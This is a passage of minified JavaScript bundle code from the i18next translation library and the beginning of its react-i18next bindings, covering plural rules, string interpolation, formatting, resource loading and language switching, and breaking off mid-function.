CA={zero:0,one:1,two:2,few:3,many:4,other:5},_A={select:e=>e===1?"one":"other",resolvedOptions:()=>({pluralCategories:["one","other"]})};class G${constructor(t,n={}){this.languageUtils=t,this.options=n,this.logger=kr.create("pluralResolver"),this.pluralRulesCache={}}addRule(t,n){this.rules[t]=n}clearCache(){this.pluralRulesCache={}}getRule(t,n={}){const r=xc(t==="dev"?"en":t),i=n.ordinal?"ordinal":"cardinal",l=JSON.stringify({cleanedCode:r,type:i});if(l in this.pluralRulesCache)return this.pluralRulesCache[l];let c;try{c=new Intl.PluralRules(r,{type:i})}catch{if(!Intl)return this.logger.error("No Intl support, please use an Intl polyfill!"),_A;if(!t.match(/-|_/))return _A;const f=this.languageUtils.getLanguagePartFromCode(t);c=this.getRule(f,n)}return this.pluralRulesCache[l]=c,c}needsPlural(t,n={}){let r=this.getRule(t,n);return r||(r=this.getRule("dev",n)),r?.resolvedOptions().pluralCategories.length>1}getPluralFormsOfKey(t,n,r={}){return this.getSuffixes(t,r).map(i=>`${n}${i}`)}getSuffixes(t,n={}){let r=this.getRule(t,n);return r||(r=this.getRule("dev",n)),r?r.resolvedOptions().pluralCategories.sort((i,l)=>CA[i]-CA[l]).map(i=>`${this.options.prepend}${n.ordinal?`ordinal${this.options.prepend}`:""}${i}`):[]}getSuffix(t,n,r={}){const i=this.getRule(t,r);return i?`${this.options.prepend}${r.ordinal?`ordinal${this.options.prepend}`:""}${i.select(n)}`:(this.logger.warn(`no plural rule found for: ${t}`),this.getSuffix("dev",n,r))}}const TA=(e,t,n,r=".",i=!0)=>{let l=$$(e,t,n);return!l&&i&&Te(n)&&(l=a0(e,n,r),l===void 0&&(l=a0(t,n,r))),l},hg=e=>e.replace(/\$/g,"$$$$");class NA{constructor(t={}){this.logger=kr.create("interpolator"),this.options=t,this.format=t?.interpolation?.format||(n=>n),this.init(t)}init(t={}){t.interpolation||(t.interpolation={escapeValue:!0});const{escape:n,escapeValue:r,useRawValueToEscape:i,prefix:l,prefixEscaped:c,suffix:u,suffixEscaped:f,formatSeparator:h,unescapeSuffix:p,unescapePrefix:m,nestingPrefix:y,nestingPrefixEscaped:x,nestingSuffix:S,nestingSuffixEscaped:w,nestingOptionsSeparator:O,maxReplaces:A,alwaysFormat:_}=t.interpolation;this.escape=n!==void 0?n:U$,this.escapeValue=r!==void 0?r:!0,this.useRawValueToEscape=i!==void 0?i:!1,this.prefix=l?pl(l):c||"{{",this.suffix=u?pl(u):f||"}}",this.formatSeparator=h||",",this.unescapePrefix=p?"":m||"-",this.unescapeSuffix=this.unescapePrefix?"":p||"",this.nestingPrefix=y?pl(y):x||pl("$t("),this.nestingSuffix=S?pl(S):w||pl(")"),this.nestingOptionsSeparator=O||",",this.maxReplaces=A||1e3,this.alwaysFormat=_!==void 0?_:!1,this.resetRegExp()}reset(){this.options&&this.init(this.options)}resetRegExp(){const t=(n,r)=>n?.source===r?(n.lastIndex=0,n):new RegExp(r,"g");this.regexp=t(this.regexp,`${this.prefix}(.+?)${this.suffix}`),this.regexpUnescape=t(this.regexpUnescape,`${this.prefix}${this.unescapePrefix}(.+?)${this.unescapeSuffix}${this.suffix}`),this.nestingRegexp=t(this.nestingRegexp,`${this.nestingPrefix}((?:[^()"']+|"[^"]*"|'[^']*'|\\((?:[^()]|"[^"]*"|'[^']*')*\\))*?)${this.nestingSuffix}`)}interpolate(t,n,r,i){let l,c,u;const f=this.options&&this.options.interpolation&&this.options.interpolation.defaultVariables||{},h=x=>{if(x.indexOf(this.formatSeparator)<0){const A=TA(n,f,x,this.options.keySeparator,this.options.ignoreJSONStructure);return this.alwaysFormat?this.format(A,void 0,r,{...i,...n,interpolationkey:x}):A}const S=x.split(this.formatSeparator),w=S.shift().trim(),O=S.join(this.formatSeparator).trim();return this.format(TA(n,f,w,this.options.keySeparator,this.options.ignoreJSONStructure),O,r,{...i,...n,interpolationkey:w})};this.resetRegExp();const p=i?.missingInterpolationHandler||this.options.missingInterpolationHandler,m=i?.interpolation?.skipOnVariables!==void 0?i.interpolation.skipOnVariables:this.options.interpolation.skipOnVariables;return[{regex:this.regexpUnescape,safeValue:x=>hg(x)},{regex:this.regexp,safeValue:x=>this.escapeValue?hg(this.escape(x)):hg(x)}].forEach(x=>{for(u=0;l=x.regex.exec(t);){const S=l[1].trim();if(c=h(S),c===void 0)if(typeof p=="function"){const O=p(t,l,i);c=Te(O)?O:""}else if(i&&Object.prototype.hasOwnProperty.call(i,S))c="";else if(m){c=l[0];continue}else this.logger.warn(`missed to pass in variable ${S} for interpolating ${t}`),c="";else!Te(c)&&!this.useRawValueToEscape&&(c=bA(c));const w=x.safeValue(c);if(t=t.replace(l[0],w),m?(x.regex.lastIndex+=c.length,x.regex.lastIndex-=l[0].length):x.regex.lastIndex=0,u++,u>=this.maxReplaces)break}}),t}nest(t,n,r={}){let i,l,c;const u=(f,h)=>{const p=this.nestingOptionsSeparator;if(f.indexOf(p)<0)return f;const m=f.split(new RegExp(`${p}[ ]*{`));let y=`{${m[1]}`;f=m[0],y=this.interpolate(y,c);const x=y.match(/'/g),S=y.match(/"/g);((x?.length??0)%2===0&&!S||S.length%2!==0)&&(y=y.replace(/'/g,'"'));try{c=JSON.parse(y),h&&(c={...h,...c})}catch(w){return this.logger.warn(`failed parsing options string in nesting for key ${f}`,w),`${f}${p}${y}`}return c.defaultValue&&c.defaultValue.indexOf(this.prefix)>-1&&delete c.defaultValue,f};for(;i=this.nestingRegexp.exec(t);){let f=[];c={...r},c=c.replace&&!Te(c.replace)?c.replace:c,c.applyPostProcessor=!1,delete c.defaultValue;const h=/{.*}/.test(i[1])?i[1].lastIndexOf("}")+1:i[1].indexOf(this.formatSeparator);if(h!==-1&&(f=i[1].slice(h).split(this.formatSeparator).map(p=>p.trim()).filter(Boolean),i[1]=i[1].slice(0,h)),l=n(u.call(this,i[1].trim(),c),c),l&&i[0]===t&&!Te(l))return l;Te(l)||(l=bA(l)),l||(this.logger.warn(`missed to resolve ${i[1]} for nesting ${t}`),l=""),f.length&&(l=f.reduce((p,m)=>this.format(p,m,r.lng,{...r,interpolationkey:i[1].trim()}),l.trim())),t=t.replace(i[0],l),this.regexp.lastIndex=0}return t}}const W$=e=>{let t=e.toLowerCase().trim();const n={};if(e.indexOf("(")>-1){const r=e.split("(");t=r[0].toLowerCase().trim();const i=r[1].substring(0,r[1].length-1);t==="currency"&&i.indexOf(":")<0?n.currency||(n.currency=i.trim()):t==="relativetime"&&i.indexOf(":")<0?n.range||(n.range=i.trim()):i.split(";").forEach(c=>{if(c){const[u,...f]=c.split(":"),h=f.join(":").trim().replace(/^'+|'+$/g,""),p=u.trim();n[p]||(n[p]=h),h==="false"&&(n[p]=!1),h==="true"&&(n[p]=!0),isNaN(h)||(n[p]=parseInt(h,10))}})}return{formatName:t,formatOptions:n}},MA=e=>{const t={};return(n,r,i)=>{let l=i;i&&i.interpolationkey&&i.formatParams&&i.formatParams[i.interpolationkey]&&i[i.interpolationkey]&&(l={...l,[i.interpolationkey]:void 0});const c=r+JSON.stringify(l);let u=t[c];return u||(u=e(xc(r),i),t[c]=u),u(n)}},X$=e=>(t,n,r)=>e(xc(n),r)(t);class Z${constructor(t={}){this.logger=kr.create("formatter"),this.options=t,this.init(t)}init(t,n={interpolation:{}}){this.formatSeparator=n.interpolation.formatSeparator||",";const r=n.cacheInBuiltFormats?MA:X$;this.formats={number:r((i,l)=>{const c=new Intl.NumberFormat(i,{...l});return u=>c.format(u)}),currency:r((i,l)=>{const c=new Intl.NumberFormat(i,{...l,style:"currency"});return u=>c.format(u)}),datetime:r((i,l)=>{const c=new Intl.DateTimeFormat(i,{...l});return u=>c.format(u)}),relativetime:r((i,l)=>{const c=new Intl.RelativeTimeFormat(i,{...l});return u=>c.format(u,l.range||"day")}),list:r((i,l)=>{const c=new Intl.ListFormat(i,{...l});return u=>c.format(u)})}}add(t,n){this.formats[t.toLowerCase().trim()]=n}addCached(t,n){this.formats[t.toLowerCase().trim()]=MA(n)}format(t,n,r,i={}){const l=n.split(this.formatSeparator);if(l.length>1&&l[0].indexOf("(")>1&&l[0].indexOf(")")<0&&l.find(u=>u.indexOf(")")>-1)){const u=l.findIndex(f=>f.indexOf(")")>-1);l[0]=[l[0],...l.splice(1,u)].join(this.formatSeparator)}return l.reduce((u,f)=>{const{formatName:h,formatOptions:p}=W$(f);if(this.formats[h]){let m=u;try{const y=i?.formatParams?.[i.interpolationkey]||{},x=y.locale||y.lng||i.locale||i.lng||r;m=this.formats[h](u,x,{...p,...i,...y})}catch(y){this.logger.warn(y)}return m}else this.logger.warn(`there was no format function for ${h}`);return u},t)}}const Q$=(e,t)=>{e.pending[t]!==void 0&&(delete e.pending[t],e.pendingCount--)};class J$ extends Ah{constructor(t,n,r,i={}){super(),this.backend=t,this.store=n,this.services=r,this.languageUtils=r.languageUtils,this.options=i,this.logger=kr.create("backendConnector"),this.waitingReads=[],this.maxParallelReads=i.maxParallelReads||10,this.readingCalls=0,this.maxRetries=i.maxRetries>=0?i.maxRetries:5,this.retryTimeout=i.retryTimeout>=1?i.retryTimeout:350,this.state={},this.queue=[],this.backend?.init?.(r,i.backend,i)}queueLoad(t,n,r,i){const l={},c={},u={},f={};return t.forEach(h=>{let p=!0;n.forEach(m=>{const y=`${h}|${m}`;!r.reload&&this.store.hasResourceBundle(h,m)?this.state[y]=2:this.state[y]<0||(this.state[y]===1?c[y]===void 0&&(c[y]=!0):(this.state[y]=1,p=!1,c[y]===void 0&&(c[y]=!0),l[y]===void 0&&(l[y]=!0),f[m]===void 0&&(f[m]=!0)))}),p||(u[h]=!0)}),(Object.keys(l).length||Object.keys(c).length)&&this.queue.push({pending:c,pendingCount:Object.keys(c).length,loaded:{},errors:[],callback:i}),{toLoad:Object.keys(l),pending:Object.keys(c),toLoadLanguages:Object.keys(u),toLoadNamespaces:Object.keys(f)}}loaded(t,n,r){const i=t.split("|"),l=i[0],c=i[1];n&&this.emit("failedLoading",l,c,n),!n&&r&&this.store.addResourceBundle(l,c,r,void 0,void 0,{skipCopy:!0}),this.state[t]=n?-1:2,n&&r&&(this.state[t]=0);const u={};this.queue.forEach(f=>{z$(f.loaded,[l],c),Q$(f,t),n&&f.errors.push(n),f.pendingCount===0&&!f.done&&(Object.keys(f.loaded).forEach(h=>{u[h]||(u[h]={});const p=f.loaded[h];p.length&&p.forEach(m=>{u[h][m]===void 0&&(u[h][m]=!0)})}),f.done=!0,f.errors.length?f.callback(f.errors):f.callback())}),this.emit("loaded",u),this.queue=this.queue.filter(f=>!f.done)}read(t,n,r,i=0,l=this.retryTimeout,c){if(!t.length)return c(null,{});if(this.readingCalls>=this.maxParallelReads){this.waitingReads.push({lng:t,ns:n,fcName:r,tried:i,wait:l,callback:c});return}this.readingCalls++;const u=(h,p)=>{if(this.readingCalls--,this.waitingReads.length>0){const m=this.waitingReads.shift();this.read(m.lng,m.ns,m.fcName,m.tried,m.wait,m.callback)}if(h&&p&&i{this.read.call(this,t,n,r,i+1,l*2,c)},l);return}c(h,p)},f=this.backend[r].bind(this.backend);if(f.length===2){try{const h=f(t,n);h&&typeof h.then=="function"?h.then(p=>u(null,p)).catch(u):u(null,h)}catch(h){u(h)}return}return f(t,n,u)}prepareLoading(t,n,r={},i){if(!this.backend)return this.logger.warn("No backend was added via i18next.use. Will not load resources."),i&&i();Te(t)&&(t=this.languageUtils.toResolveHierarchy(t)),Te(n)&&(n=[n]);const l=this.queueLoad(t,n,r,i);if(!l.toLoad.length)return l.pending.length||i(),null;l.toLoad.forEach(c=>{this.loadOne(c)})}load(t,n,r){this.prepareLoading(t,n,{},r)}reload(t,n,r){this.prepareLoading(t,n,{reload:!0},r)}loadOne(t,n=""){const r=t.split("|"),i=r[0],l=r[1];this.read(i,l,"read",void 0,void 0,(c,u)=>{c&&this.logger.warn(`${n}loading namespace ${l} for language ${i} failed`,c),!c&&u&&this.logger.log(`${n}loaded namespace ${l} for language ${i}`,u),this.loaded(t,c,u)})}saveMissing(t,n,r,i,l,c={},u=()=>{}){if(this.services?.utils?.hasLoadedNamespace&&!this.services?.utils?.hasLoadedNamespace(n)){this.logger.warn(`did not save key "${r}" as the namespace "${n}" was not yet loaded`,"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!");return}if(!(r==null||r==="")){if(this.backend?.create){const f={...c,isUpdate:l},h=this.backend.create.bind(this.backend);if(h.length<6)try{let p;h.length===5?p=h(t,n,r,i,f):p=h(t,n,r,i),p&&typeof p.then=="function"?p.then(m=>u(null,m)).catch(u):u(null,p)}catch(p){u(p)}else h(t,n,r,i,u,f)}!t||!t[0]||this.store.addResource(t[0],n,r,i)}}}const jA=()=>({debug:!1,initAsync:!0,ns:["translation"],defaultNS:["translation"],fallbackLng:["dev"],fallbackNS:!1,supportedLngs:!1,nonExplicitSupportedLngs:!1,load:"all",preload:!1,simplifyPluralSuffix:!0,keySeparator:".",nsSeparator:":",pluralSeparator:"_",contextSeparator:"_",partialBundledLanguages:!1,saveMissing:!1,updateMissing:!1,saveMissingTo:"fallback",saveMissingPlurals:!0,missingKeyHandler:!1,missingInterpolationHandler:!1,postProcess:!1,postProcessPassResolved:!1,returnNull:!1,returnEmptyString:!0,returnObjects:!1,joinArrays:!1,returnedObjectHandler:!1,parseMissingKeyHandler:!1,appendNamespaceToMissingKey:!1,appendNamespaceToCIMode:!1,overloadTranslationOptionHandler:e=>{let t={};if(typeof e[1]=="object"&&(t=e[1]),Te(e[1])&&(t.defaultValue=e[1]),Te(e[2])&&(t.tDescription=e[2]),typeof e[2]=="object"||typeof e[3]=="object"){const n=e[3]||e[2];Object.keys(n).forEach(r=>{t[r]=n[r]})}return t},interpolation:{escapeValue:!0,format:e=>e,prefix:"{{",suffix:"}}",formatSeparator:",",unescapePrefix:"-",nestingPrefix:"$t(",nestingSuffix:")",nestingOptionsSeparator:",",maxReplaces:1e3,skipOnVariables:!0},cacheInBuiltFormats:!0}),PA=e=>(Te(e.ns)&&(e.ns=[e.ns]),Te(e.fallbackLng)&&(e.fallbackLng=[e.fallbackLng]),Te(e.fallbackNS)&&(e.fallbackNS=[e.fallbackNS]),e.supportedLngs?.indexOf?.("cimode")<0&&(e.supportedLngs=e.supportedLngs.concat(["cimode"])),typeof e.initImmediate=="boolean"&&(e.initAsync=e.initImmediate),e),Lf=()=>{},e6=e=>{Object.getOwnPropertyNames(Object.getPrototypeOf(e)).forEach(n=>{typeof e[n]=="function"&&(e[n]=e[n].bind(e))})};class yc extends Ah{constructor(t={},n){if(super(),this.options=PA(t),this.services={},this.logger=kr,this.modules={external:[]},e6(this),n&&!this.isInitialized&&!t.isClone){if(!this.options.initAsync)return this.init(t,n),this;setTimeout(()=>{this.init(t,n)},0)}}init(t={},n){this.isInitializing=!0,typeof t=="function"&&(n=t,t={}),t.defaultNS==null&&t.ns&&(Te(t.ns)?t.defaultNS=t.ns:t.ns.indexOf("translation")<0&&(t.defaultNS=t.ns[0]));const r=jA();this.options={...r,...this.options,...PA(t)},this.options.interpolation={...r.interpolation,...this.options.interpolation},t.keySeparator!==void 0&&(this.options.userDefinedKeySeparator=t.keySeparator),t.nsSeparator!==void 0&&(this.options.userDefinedNsSeparator=t.nsSeparator),typeof this.options.overloadTranslationOptionHandler!="function"&&(this.options.overloadTranslationOptionHandler=r.overloadTranslationOptionHandler);const i=h=>h?typeof h=="function"?new h:h:null;if(!this.options.isClone){this.modules.logger?kr.init(i(this.modules.logger),this.options):kr.init(null,this.options);let h;this.modules.formatter?h=this.modules.formatter:h=Z$;const p=new AA(this.options);this.store=new OA(this.options.resources,this.options);const m=this.services;m.logger=kr,m.resourceStore=this.store,m.languageUtils=p,m.pluralResolver=new G$(p,{prepend:this.options.pluralSeparator,simplifyPluralSuffix:this.options.simplifyPluralSuffix}),this.options.interpolation.format&&this.options.interpolation.format!==r.interpolation.format&&this.logger.deprecate("init: you are still using the legacy format function, please use the new approach: https://www.i18next.com/translation-function/formatting"),h&&(!this.options.interpolation.format||this.options.interpolation.format===r.interpolation.format)&&(m.formatter=i(h),m.formatter.init&&m.formatter.init(m,this.options),this.options.interpolation.format=m.formatter.format.bind(m.formatter)),m.interpolator=new NA(this.options),m.utils={hasLoadedNamespace:this.hasLoadedNamespace.bind(this)},m.backendConnector=new J$(i(this.modules.backend),m.resourceStore,m,this.options),m.backendConnector.on("*",(x,...S)=>{this.emit(x,...S)}),this.modules.languageDetector&&(m.languageDetector=i(this.modules.languageDetector),m.languageDetector.init&&m.languageDetector.init(m,this.options.detection,this.options)),this.modules.i18nFormat&&(m.i18nFormat=i(this.modules.i18nFormat),m.i18nFormat.init&&m.i18nFormat.init(this)),this.translator=new bd(this.services,this.options),this.translator.on("*",(x,...S)=>{this.emit(x,...S)}),this.modules.external.forEach(x=>{x.init&&x.init(this)})}if(this.format=this.options.interpolation.format,n||(n=Lf),this.options.fallbackLng&&!this.services.languageDetector&&!this.options.lng){const h=this.services.languageUtils.getFallbackCodes(this.options.fallbackLng);h.length>0&&h[0]!=="dev"&&(this.options.lng=h[0])}!this.services.languageDetector&&!this.options.lng&&this.logger.warn("init: no languageDetector is used and no lng is defined"),["getResource","hasResourceBundle","getResourceBundle","getDataByLanguage"].forEach(h=>{this[h]=(...p)=>this.store[h](...p)}),["addResource","addResources","addResourceBundle","removeResourceBundle"].forEach(h=>{this[h]=(...p)=>(this.store[h](...p),this)});const u=nc(),f=()=>{const h=(p,m)=>{this.isInitializing=!1,this.isInitialized&&!this.initializedStoreOnce&&this.logger.warn("init: i18next is already initialized. You should call init just once!"),this.isInitialized=!0,this.options.isClone||this.logger.log("initialized",this.options),this.emit("initialized",this.options),u.resolve(m),n(p,m)};if(this.languages&&!this.isInitialized)return h(null,this.t.bind(this));this.changeLanguage(this.options.lng,h)};return this.options.resources||!this.options.initAsync?f():setTimeout(f,0),u}loadResources(t,n=Lf){let r=n;const i=Te(t)?t:this.language;if(typeof t=="function"&&(r=t),!this.options.resources||this.options.partialBundledLanguages){if(i?.toLowerCase()==="cimode"&&(!this.options.preload||this.options.preload.length===0))return r();const l=[],c=u=>{if(!u||u==="cimode")return;this.services.languageUtils.toResolveHierarchy(u).forEach(h=>{h!=="cimode"&&l.indexOf(h)<0&&l.push(h)})};i?c(i):this.services.languageUtils.getFallbackCodes(this.options.fallbackLng).forEach(f=>c(f)),this.options.preload?.forEach?.(u=>c(u)),this.services.backendConnector.load(l,this.options.ns,u=>{!u&&!this.resolvedLanguage&&this.language&&this.setResolvedLanguage(this.language),r(u)})}else r(null)}reloadResources(t,n,r){const i=nc();return typeof t=="function"&&(r=t,t=void 0),typeof n=="function"&&(r=n,n=void 0),t||(t=this.languages),n||(n=this.options.ns),r||(r=Lf),this.services.backendConnector.reload(t,n,l=>{i.resolve(),r(l)}),i}use(t){if(!t)throw new Error("You are passing an undefined module! Please check the object you are passing to i18next.use()");if(!t.type)throw new Error("You are passing a wrong module! Please check the object you are passing to i18next.use()");return t.type==="backend"&&(this.modules.backend=t),(t.type==="logger"||t.log&&t.warn&&t.error)&&(this.modules.logger=t),t.type==="languageDetector"&&(this.modules.languageDetector=t),t.type==="i18nFormat"&&(this.modules.i18nFormat=t),t.type==="postProcessor"&&uM.addPostProcessor(t),t.type==="formatter"&&(this.modules.formatter=t),t.type==="3rdParty"&&this.modules.external.push(t),this}setResolvedLanguage(t){if(!(!t||!this.languages)&&!(["cimode","dev"].indexOf(t)>-1)){for(let n=0;n-1)&&this.store.hasLanguageSomeTranslations(r)){this.resolvedLanguage=r;break}}!this.resolvedLanguage&&this.languages.indexOf(t)<0&&this.store.hasLanguageSomeTranslations(t)&&(this.resolvedLanguage=t,this.languages.unshift(t))}}changeLanguage(t,n){this.isLanguageChangingTo=t;const r=nc();this.emit("languageChanging",t);const i=u=>{this.language=u,this.languages=this.services.languageUtils.toResolveHierarchy(u),this.resolvedLanguage=void 0,this.setResolvedLanguage(u)},l=(u,f)=>{f?this.isLanguageChangingTo===t&&(i(f),this.translator.changeLanguage(f),this.isLanguageChangingTo=void 0,this.emit("languageChanged",f),this.logger.log("languageChanged",f)):this.isLanguageChangingTo=void 0,r.resolve((...h)=>this.t(...h)),n&&n(u,(...h)=>this.t(...h))},c=u=>{!t&&!u&&this.services.languageDetector&&(u=[]);const f=Te(u)?u:u&&u[0],h=this.store.hasLanguageSomeTranslations(f)?f:this.services.languageUtils.getBestMatchFromCodes(Te(u)?[u]:u);h&&(this.language||i(h),this.translator.language||this.translator.changeLanguage(h),this.services.languageDetector?.cacheUserLanguage?.(h)),this.loadResources(h,p=>{l(p,h)})};return!t&&this.services.languageDetector&&!this.services.languageDetector.async?c(this.services.languageDetector.detect()):!t&&this.services.languageDetector&&this.services.languageDetector.async?this.services.languageDetector.detect.length===0?this.services.languageDetector.detect().then(c):this.services.languageDetector.detect(c):c(t),r}getFixedT(t,n,r){const i=(l,c,...u)=>{let f;typeof c!="object"?f=this.options.overloadTranslationOptionHandler([l,c].concat(u)):f={...c},f.lng=f.lng||i.lng,f.lngs=f.lngs||i.lngs,f.ns=f.ns||i.ns,f.keyPrefix!==""&&(f.keyPrefix=f.keyPrefix||r||i.keyPrefix);const h=this.options.keySeparator||".";let p;return f.keyPrefix&&Array.isArray(l)?p=l.map(m=>(typeof m=="function"&&(m=i0(m,{...this.options,...c})),`${f.keyPrefix}${h}${m}`)):(typeof l=="function"&&(l=i0(l,{...this.options,...c})),p=f.keyPrefix?`${f.keyPrefix}${h}${l}`:l),this.t(p,f)};return Te(t)?i.lng=t:i.lngs=t,i.ns=n,i.keyPrefix=r,i}t(...t){return this.translator?.translate(...t)}exists(...t){return this.translator?.exists(...t)}setDefaultNamespace(t){this.options.defaultNS=t}hasLoadedNamespace(t,n={}){if(!this.isInitialized)return this.logger.warn("hasLoadedNamespace: i18next was not initialized",this.languages),!1;if(!this.languages||!this.languages.length)return this.logger.warn("hasLoadedNamespace: i18n.languages were undefined or empty",this.languages),!1;const r=n.lng||this.resolvedLanguage||this.languages[0],i=this.options?this.options.fallbackLng:!1,l=this.languages[this.languages.length-1];if(r.toLowerCase()==="cimode")return!0;const c=(u,f)=>{const h=this.services.backendConnector.state[`${u}|${f}`];return h===-1||h===0||h===2};if(n.precheck){const u=n.precheck(this,c);if(u!==void 0)return u}return!!(this.hasResourceBundle(r,t)||!this.services.backendConnector.backend||this.options.resources&&!this.options.partialBundledLanguages||c(r,t)&&(!i||c(l,t)))}loadNamespaces(t,n){const r=nc();return this.options.ns?(Te(t)&&(t=[t]),t.forEach(i=>{this.options.ns.indexOf(i)<0&&this.options.ns.push(i)}),this.loadResources(i=>{r.resolve(),n&&n(i)}),r):(n&&n(),Promise.resolve())}loadLanguages(t,n){const r=nc();Te(t)&&(t=[t]);const i=this.options.preload||[],l=t.filter(c=>i.indexOf(c)<0&&this.services.languageUtils.isSupportedCode(c));return l.length?(this.options.preload=i.concat(l),this.loadResources(c=>{r.resolve(),n&&n(c)}),r):(n&&n(),Promise.resolve())}dir(t){if(t||(t=this.resolvedLanguage||(this.languages?.length>0?this.languages[0]:this.language)),!t)return"rtl";try{const i=new Intl.Locale(t);if(i&&i.getTextInfo){const l=i.getTextInfo();if(l&&l.direction)return l.direction}}catch{}const n=["ar","shu","sqr","ssh","xaa","yhd","yud","aao","abh","abv","acm","acq","acw","acx","acy","adf","ads","aeb","aec","afb","ajp","apc","apd","arb","arq","ars","ary","arz","auz","avl","ayh","ayl","ayn","ayp","bbz","pga","he","iw","ps","pbt","pbu","pst","prp","prd","ug","ur","ydd","yds","yih","ji","yi","hbo","men","xmn","fa","jpr","peo","pes","prs","dv","sam","ckb"],r=this.services?.languageUtils||new AA(jA());return t.toLowerCase().indexOf("-latn")>1?"ltr":n.indexOf(r.getLanguagePartFromCode(t))>-1||t.toLowerCase().indexOf("-arab")>1?"rtl":"ltr"}static createInstance(t={},n){const r=new yc(t,n);return r.createInstance=yc.createInstance,r}cloneInstance(t={},n=Lf){const r=t.forkResourceStore;r&&delete t.forkResourceStore;const i={...this.options,...t,isClone:!0},l=new yc(i);if((t.debug!==void 0||t.prefix!==void 0)&&(l.logger=l.logger.clone(t)),["store","services","language"].forEach(u=>{l[u]=this[u]}),l.services={...this.services},l.services.utils={hasLoadedNamespace:l.hasLoadedNamespace.bind(l)},r){const u=Object.keys(this.store.data).reduce((f,h)=>(f[h]={...this.store.data[h]},f[h]=Object.keys(f[h]).reduce((p,m)=>(p[m]={...f[h][m]},p),f[h]),f),{});l.store=new OA(u,i),l.services.resourceStore=l.store}return t.interpolation&&(l.services.interpolator=new NA(i)),l.translator=new bd(l.services,i),l.translator.on("*",(u,...f)=>{l.emit(u,...f)}),l.init(i,n),l.translator.options=i,l.translator.backendConnector.services.utils={hasLoadedNamespace:l.hasLoadedNamespace.bind(l)},l}toJSON(){return{options:this.options,store:this.store,language:this.language,languages:this.languages,resolvedLanguage:this.resolvedLanguage}}}const hn=yc.createInstance();hn.createInstance;hn.dir;hn.init;hn.loadResources;hn.reloadResources;hn.use;hn.changeLanguage;hn.getFixedT;hn.t;hn.exists;hn.setDefaultNamespace;hn.hasLoadedNamespace;hn.loadNamespaces;hn.loadLanguages;const t6=(e,t,n,r)=>{const i=[n,{code:t,...r||{}}];if(e?.services?.logger?.forward)return e.services.logger.forward(i,"warn","react-i18next::",!0);ao(i[0])&&(i[0]=`react-i18next:: ${i[0]}`),e?.services?.logger?.warn?e.services.logger.warn(...i):console?.warn&&console.warn(...i)},RA={},dM=(e,t,n,r)=>{ao(n)&&RA[n]||(ao(n)&&(RA[n]=new Date),t6(e,t,n,r))},hM=(e,t)=>()=>{if(e.isInitialized)t();else{const n=()=>{setTimeout(()=>{e.off("initialized",n)},0),t()};e.on("initialized",n)}},o0=(e,t,n)=>{e.loadNamespaces(t,hM(e,n))},DA=(e,t,n,r)=>{if(ao(n)&&(n=[n]),e.options.preload&&e.options.preload.indexOf(t)>-1)return o0(e,n,r);n.forEach(i=>{e.options.ns.indexOf(i)<0&&e.options.ns.push(i)}),e.loadLanguages(t,hM(e,r))},n6=(e,t,n={})=>!t.languages||!t.languages.length?(dM(t,"NO_LANGUAGES","i18n.languages were undefined or empty",{languages:t.languages}),!0):t.hasLoadedNamespace(e,{lng:n.lng,precheck:(r,i)=>{if(n.bindI18n&&n.bindI18n.indexOf("languageChanging")>-1&&r.services.backendConnector.backend&&r.isLanguageChangingTo&&!i(r.isLanguageChangingTo,e))return!1}}),ao=e=>typeof e=="string",r6=e=>typeof e=="object"&&e!==null,a6=/&(?:amp|#38|lt|#60|gt|#62|apos|#39|quot|#34|nbsp|#160|copy|#169|reg|#174|hellip|#8230|#x2F|#47);/g,i6={"&":"&","&":"&","<":"<","<":"<",">":">",">":">","'":"'","'":"'",""":'"',""":'"'," ":" "," ":" ","©":"©","©":"©","®":"®","®":"®","…":"…","…":"…","/":"/","/":"/"},o6=e=>i6[e],l6=e=>e.replace(a6,o6);let l0={bindI18n:"languageChanged",bindI18nStore:"",transEmptyNodeValue:"",transSupportBasicHtmlNodes:!0,transWrapTextNodes:"",transKeepBasicHtmlNodesFor:["br","strong","i","p"],useSuspense:!0,unescape:l6,transDefaultProps:void 0};const s6=(e={})=>{l0={...l0,...e}},c6=()=>l0;let pM;const u6=e=>{pM=e},f6=()=>pM,d6={type:"3rdParty",init(e){s6(e.options.react),u6(e)}},h6=v.createContext();class p6{constructor(){this.usedNamespaces={}}addUsedNamespaces(t){t.forEach(n=>{this.usedNamespaces[n]||(this.usedNamespaces[n]=!0)})}getUsedNamespaces(){return Object.keys(this.usedNamespaces)}}var pg={exports:{}},mg={};var kA;function m6(){if(kA)return mg;kA=1;var e=Ul();function t(m,y){return m===y&&(m!==0||1/m===1/y)||m!==m&&y!==y}var n=typeof Object.is=="function"?Object.is:t,r=e.useState,i=e.useEffect,l=e.useLayoutEffect,c=e.useDebugValue;function u(m,y){var x=y(),S=r({inst:{value:x,getSnapshot:y}}),w=S[0].inst,O=S[1];return l(function(){w.value=x,w.getSnapshot=y,f(w)&&O({inst:w})},[m,x,y]),i(function(){return f(w)&&O({inst:w}),m(function(){f(w)&&O({inst:w})})},[m]),c(x),x}function f(m){var y=m.getSnapshot;m=m.value;try{var x=y();return!n(m,x)}catch{return!0}}function h(m,y){return y()}var p=typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?h:u;return mg.useSyncExternalStore=e.useSyncExternalStore!==void 0?e.useSyncExternalStore:p,mg}var LA;function mM(){return LA||(LA=1,pg.exports=m6()),pg.exports}var v6=mM();const g6=(e,t)=>ao(t)?t:r6(t)&&ao(t.defaultValue)?t.defaultValue:Array.isArray(e)?e[e.length-1]:e,y6={t:g6,ready:!1},b6=()=>()=>{},xo=(e,t={})=>{const{i18n:n}=t,{i18n:r,defaultNS:i}=v.useContext(h6)||{},l=n||r||f6();l&&!l.reportNamespaces&&(l.reportNamespaces=new p6),l||dM(l,"NO_I18NEXT_INSTANCE","useTranslation: You will need to pass in an i18next instance by using initReactI18next");const c=v.useMemo(()=>({...c6(),...l?.options?.react,...t}),[l,t]),{useSuspense:u,keyPrefix:f}=c,h=i||l?.options?.defaultNS,p=ao(h)?[h]:h||["translation"],m=v.useMemo(()=>p,p);l?.reportNamespaces?.addUsedNamespaces?.(m);const y=v.useRef(0),x=v.useCallback(B=>{if(!l)return b6;const{bindI18n:q,bindI18nStore:U}=c,V=()=>{y.current+=1,B()};return q&&l.on(q,V),U&&l.store.on(U,V),()=>{q&&q.split(" ").forEach(oe=>l.off(oe,V)),U&&U.split(" ").forEach(oe=>l.store.off(oe,V))}},[l,c]),S=v.useRef(),w=v.useCallback(()=>{if(!l)return y6;const 